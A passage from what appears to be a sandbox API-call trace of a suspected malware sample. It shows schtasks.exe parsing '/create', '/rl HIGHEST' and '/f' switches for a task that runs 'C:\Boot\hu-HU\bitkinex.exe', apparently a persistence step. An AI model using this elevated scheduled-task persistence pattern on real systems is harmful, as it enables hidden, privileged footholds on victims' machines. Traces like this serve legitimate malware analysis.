(lpStart=" \x09", wMatch=0x5c) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0062.156] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0062.156] GetLastError () returned 0x0 [0062.156] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.156] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.156] SetLastError (dwErrCode=0x0) [0062.156] SetLastError (dwErrCode=0x0) [0062.156] lstrlenW (lpString="/rl") returned 3 [0062.156] lstrlenW (lpString="-/") returned 2 [0062.156] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.156] lstrlenW (lpString="create") returned 6 [0062.156] lstrlenW (lpString="create") returned 6 [0062.156] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.156] lstrlenW (lpString="rl") returned 2 [0062.156] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.156] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|create|") returned 8 [0062.156] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.156] lstrlenW (lpString="|create|") returned 8 [0062.156] lstrlenW (lpString="|rl|") returned 4 [0062.157] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0062.157] SetLastError (dwErrCode=0x490) [0062.157] lstrlenW (lpString="?") returned 1 [0062.157] lstrlenW (lpString="?") returned 1 [0062.157] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.157] lstrlenW (lpString="rl") returned 2 [0062.157] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.157] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|?|") returned 3 [0062.157] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.157] lstrlenW (lpString="|?|") returned 3 [0062.157] lstrlenW (lpString="|rl|") returned 4 [0062.157] SetLastError (dwErrCode=0x490) [0062.157] lstrlenW (lpString="s") returned 1 [0062.157] lstrlenW (lpString="s") returned 1 [0062.157] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.157] lstrlenW (lpString="rl") returned 2 [0062.157] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.157] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|s|") returned 3 [0062.157] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.157] lstrlenW (lpString="|s|") returned 3 [0062.157] lstrlenW (lpString="|rl|") returned 4 [0062.157] SetLastError (dwErrCode=0x490) [0062.157] lstrlenW (lpString="u") returned 1 [0062.157] lstrlenW (lpString="u") returned 1 [0062.157] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.157] lstrlenW (lpString="rl") returned 2 [0062.157] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.157] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|u|") returned 3 [0062.157] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.157] lstrlenW (lpString="|u|") returned 3 [0062.158] lstrlenW (lpString="|rl|") returned 4 [0062.158] SetLastError (dwErrCode=0x490) [0062.158] lstrlenW (lpString="p") returned 1 [0062.158] lstrlenW (lpString="p") returned 1 [0062.158] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.158] lstrlenW (lpString="rl") returned 2 [0062.158] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.158] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|p|") returned 3 [0062.158] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.158] lstrlenW (lpString="|p|") returned 3 [0062.158] lstrlenW (lpString="|rl|") returned 4 [0062.158] SetLastError (dwErrCode=0x490) [0062.158] lstrlenW (lpString="ru") returned 2 [0062.158] lstrlenW (lpString="ru") returned 2 [0062.158] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.158] lstrlenW (lpString="rl") returned 2 [0062.158] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.207] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|ru|") returned 4 [0062.207] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.207] lstrlenW (lpString="|ru|") returned 4 [0062.207] lstrlenW (lpString="|rl|") returned 4 [0062.207] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0062.207] SetLastError (dwErrCode=0x490) [0062.207] lstrlenW (lpString="rp") returned 2 [0062.207] lstrlenW (lpString="rp") returned 2 [0062.207] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.207] lstrlenW (lpString="rl") returned 2 [0062.207] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.207] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rp|") returned 4 [0062.207] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.207] lstrlenW (lpString="|rp|") returned 4 [0062.207] lstrlenW (lpString="|rl|") returned 4 [0062.207] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0062.207] SetLastError (dwErrCode=0x490) [0062.207] lstrlenW (lpString="sc") returned 2 [0062.207] lstrlenW (lpString="sc") returned 2 [0062.207] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.208] lstrlenW (lpString="rl") returned 2 [0062.208] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.208] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.208] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.208] lstrlenW (lpString="|sc|") returned 4 [0062.208] lstrlenW (lpString="|rl|") returned 4 [0062.208] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0062.208] SetLastError (dwErrCode=0x490) [0062.208] lstrlenW (lpString="mo") returned 2 [0062.208] lstrlenW (lpString="mo") returned 2 [0062.208] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.208] lstrlenW (lpString="rl") returned 2 [0062.208] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.208] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|mo|") returned 4 [0062.208] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.208] lstrlenW (lpString="|mo|") returned 4 [0062.208] lstrlenW (lpString="|rl|") returned 4 [0062.208] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0062.208] SetLastError (dwErrCode=0x490) [0062.208] lstrlenW (lpString="d") returned 1 [0062.208] lstrlenW (lpString="d") returned 1 [0062.208] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.208] lstrlenW (lpString="rl") returned 2 [0062.208] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.208] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|d|") returned 3 [0062.208] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.208] lstrlenW (lpString="|d|") returned 3 [0062.208] lstrlenW (lpString="|rl|") returned 4 [0062.208] SetLastError (dwErrCode=0x490) [0062.208] lstrlenW (lpString="m") returned 1 [0062.209] lstrlenW (lpString="m") returned 1 [0062.209] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.209] lstrlenW (lpString="rl") returned 2 [0062.209] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.209] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|m|") returned 3 [0062.209] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.209] lstrlenW (lpString="|m|") returned 3 [0062.209] lstrlenW (lpString="|rl|") returned 4 [0062.209] SetLastError (dwErrCode=0x490) [0062.209] lstrlenW (lpString="i") returned 1 [0062.209] lstrlenW (lpString="i") returned 1 [0062.209] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.209] lstrlenW (lpString="rl") returned 2 [0062.209] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.209] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|i|") returned 3 [0062.209] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.209] lstrlenW (lpString="|i|") returned 3 [0062.209] lstrlenW (lpString="|rl|") returned 4 [0062.209] SetLastError (dwErrCode=0x490) [0062.209] lstrlenW (lpString="tn") returned 2 [0062.209] lstrlenW (lpString="tn") returned 2 [0062.209] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.209] lstrlenW (lpString="rl") returned 2 [0062.209] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.209] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.209] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.209] lstrlenW (lpString="|tn|") returned 4 [0062.209] lstrlenW (lpString="|rl|") returned 4 [0062.209] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0062.209] SetLastError (dwErrCode=0x490) [0062.210] lstrlenW (lpString="tr") returned 2 [0062.210] lstrlenW (lpString="tr") returned 2 [0062.210] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.210] lstrlenW (lpString="rl") returned 2 [0062.210] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.210] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.210] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.210] lstrlenW (lpString="|tr|") returned 4 [0062.210] lstrlenW (lpString="|rl|") returned 4 [0062.210] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0062.210] SetLastError (dwErrCode=0x490) [0062.210] lstrlenW (lpString="st") returned 2 [0062.210] lstrlenW (lpString="st") returned 2 [0062.210] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.210] lstrlenW (lpString="rl") returned 2 [0062.210] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.210] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|st|") returned 4 [0062.210] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.210] lstrlenW (lpString="|st|") returned 4 [0062.210] lstrlenW (lpString="|rl|") returned 4 [0062.210] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0062.210] SetLastError (dwErrCode=0x490) [0062.210] lstrlenW (lpString="sd") returned 2 [0062.210] lstrlenW (lpString="sd") returned 2 [0062.210] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.210] lstrlenW (lpString="rl") returned 2 [0062.210] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.210] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sd|") returned 4 [0062.210] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.210] lstrlenW (lpString="|sd|") returned 4 [0062.211] lstrlenW (lpString="|rl|") returned 4 [0062.211] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0062.211] SetLastError (dwErrCode=0x490) [0062.211] lstrlenW (lpString="ed") returned 2 [0062.211] lstrlenW (lpString="ed") returned 2 [0062.211] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.211] lstrlenW (lpString="rl") returned 2 [0062.211] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.211] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|ed|") returned 4 [0062.211] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.211] lstrlenW (lpString="|ed|") returned 4 [0062.211] lstrlenW (lpString="|rl|") returned 4 [0062.211] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0062.211] SetLastError (dwErrCode=0x490) [0062.211] lstrlenW (lpString="it") returned 2 [0062.211] lstrlenW (lpString="it") returned 2 [0062.211] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.211] lstrlenW (lpString="rl") returned 2 [0062.211] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.211] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|it|") returned 4 [0062.211] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.211] lstrlenW (lpString="|it|") returned 4 [0062.211] lstrlenW (lpString="|rl|") returned 4 [0062.211] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0062.211] SetLastError (dwErrCode=0x490) [0062.211] lstrlenW (lpString="et") returned 2 [0062.211] lstrlenW (lpString="et") returned 2 [0062.211] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.211] lstrlenW (lpString="rl") returned 2 [0062.212] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.212] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|et|") returned 4 [0062.212] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.212] lstrlenW (lpString="|et|") returned 4 [0062.212] lstrlenW (lpString="|rl|") returned 4 [0062.212] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0062.212] SetLastError (dwErrCode=0x490) [0062.212] lstrlenW (lpString="k") returned 1 [0062.212] lstrlenW (lpString="k") returned 1 [0062.212] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.212] lstrlenW (lpString="rl") returned 2 [0062.212] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.212] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|k|") returned 3 [0062.212] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.212] lstrlenW (lpString="|k|") returned 3 [0062.212] lstrlenW (lpString="|rl|") returned 4 [0062.212] SetLastError (dwErrCode=0x490) [0062.212] lstrlenW (lpString="du") returned 2 [0062.212] lstrlenW (lpString="du") returned 2 [0062.212] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.212] lstrlenW (lpString="rl") returned 2 [0062.212] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.212] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|du|") returned 4 [0062.212] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.212] lstrlenW (lpString="|du|") returned 4 [0062.212] lstrlenW (lpString="|rl|") returned 4 [0062.212] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0062.212] SetLastError (dwErrCode=0x490) [0062.212] lstrlenW (lpString="ri") returned 2 [0062.212] lstrlenW (lpString="ri") returned 2 [0062.213] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.213] lstrlenW (lpString="rl") returned 2 [0062.213] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.213] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|ri|") returned 4 [0062.213] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.213] lstrlenW (lpString="|ri|") returned 4 [0062.213] lstrlenW (lpString="|rl|") returned 4 [0062.213] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0062.213] SetLastError (dwErrCode=0x490) [0062.213] lstrlenW (lpString="z") returned 1 [0062.213] lstrlenW (lpString="z") returned 1 [0062.213] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.213] lstrlenW (lpString="rl") returned 2 [0062.213] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.213] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|z|") returned 3 [0062.213] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.213] lstrlenW (lpString="|z|") returned 3 [0062.213] lstrlenW (lpString="|rl|") returned 4 [0062.213] SetLastError (dwErrCode=0x490) [0062.213] lstrlenW (lpString="f") returned 1 [0062.213] lstrlenW (lpString="f") returned 1 [0062.213] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.213] lstrlenW (lpString="rl") returned 2 [0062.213] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.213] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.213] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.213] lstrlenW (lpString="|f|") returned 3 [0062.213] lstrlenW (lpString="|rl|") returned 4 [0062.213] SetLastError (dwErrCode=0x490) [0062.213] lstrlenW (lpString="v1") returned 2 [0062.214] lstrlenW (lpString="v1") returned 2 [0062.214] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.214] lstrlenW (lpString="rl") returned 2 [0062.214] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.214] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|v1|") returned 4 [0062.214] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.214] lstrlenW (lpString="|v1|") returned 4 [0062.214] lstrlenW (lpString="|rl|") returned 4 [0062.214] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0062.214] SetLastError (dwErrCode=0x490) [0062.214] lstrlenW (lpString="xml") returned 3 [0062.214] lstrlenW (lpString="xml") returned 3 [0062.214] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.214] lstrlenW (lpString="rl") returned 2 [0062.214] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.214] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|xml|") returned 5 [0062.214] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.214] lstrlenW (lpString="|xml|") returned 5 [0062.214] lstrlenW (lpString="|rl|") returned 4 [0062.214] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0062.214] SetLastError (dwErrCode=0x490) [0062.214] lstrlenW (lpString="ec") returned 2 [0062.214] lstrlenW (lpString="ec") returned 2 [0062.214] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.214] lstrlenW (lpString="rl") returned 2 [0062.214] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.214] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|ec|") returned 4 [0062.214] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.214] lstrlenW (lpString="|ec|") returned 4 [0062.214] lstrlenW (lpString="|rl|") returned 4 [0062.215] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0062.215] SetLastError (dwErrCode=0x490) [0062.215] lstrlenW (lpString="rl") returned 2 [0062.215] lstrlenW (lpString="rl") returned 2 [0062.215] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.215] lstrlenW (lpString="rl") returned 2 [0062.215] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.215] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.215] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rl|") returned 4 [0062.215] lstrlenW (lpString="|rl|") returned 4 [0062.215] lstrlenW (lpString="|rl|") returned 4 [0062.215] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0062.215] SetLastError (dwErrCode=0x0) [0062.215] SetLastError (dwErrCode=0x0) [0062.215] lstrlenW (lpString="HIGHEST") returned 7 [0062.215] lstrlenW (lpString="-/") returned 2 [0062.215] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0062.215] SetLastError (dwErrCode=0x490) [0062.215] SetLastError (dwErrCode=0x490) [0062.215] SetLastError (dwErrCode=0x0) [0062.215] lstrlenW (lpString="HIGHEST") returned 7 [0062.215] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0062.215] SetLastError (dwErrCode=0x490) [0062.215] SetLastError (dwErrCode=0x0) [0062.215] _memicmp (_Buf1=0x18d660, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.215] lstrlenW (lpString="HIGHEST") returned 7 [0062.215] lstrlenW (lpString="HIGHEST") returned 7 [0062.216] lstrlenW (lpString=" \x09") returned 2 [0062.216] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0062.216] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0062.216] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0062.216] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0062.216] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0062.216] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0062.216] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0062.216] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0062.216] GetLastError () returned 0x0 [0062.216] lstrlenW (lpString="HIGHEST") returned 7 [0062.216] lstrlenW (lpString="HIGHEST") returned 7 [0062.216] SetLastError (dwErrCode=0x0) [0062.216] SetLastError (dwErrCode=0x0) [0062.216] lstrlenW (lpString="/f") returned 2 [0062.216] lstrlenW (lpString="-/") returned 2 [0062.216] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.216] lstrlenW (lpString="create") returned 6 [0062.216] lstrlenW (lpString="create") returned 6 [0062.216] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.216] lstrlenW (lpString="f") returned 1 [0062.216] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.216] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|create|") returned 8 [0062.216] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.216] lstrlenW (lpString="|create|") returned 8 [0062.216] lstrlenW (lpString="|f|") returned 3 [0062.216] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0062.216] SetLastError (dwErrCode=0x490) [0062.217] lstrlenW (lpString="?") returned 1 [0062.217] lstrlenW (lpString="?") returned 1 [0062.217] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.217] lstrlenW (lpString="f") returned 1 [0062.217] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.217] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|?|") returned 3 [0062.217] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.217] lstrlenW (lpString="|?|") returned 3 [0062.217] lstrlenW (lpString="|f|") returned 3 [0062.217] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0062.217] SetLastError (dwErrCode=0x490) [0062.217] lstrlenW (lpString="s") returned 1 [0062.217] lstrlenW 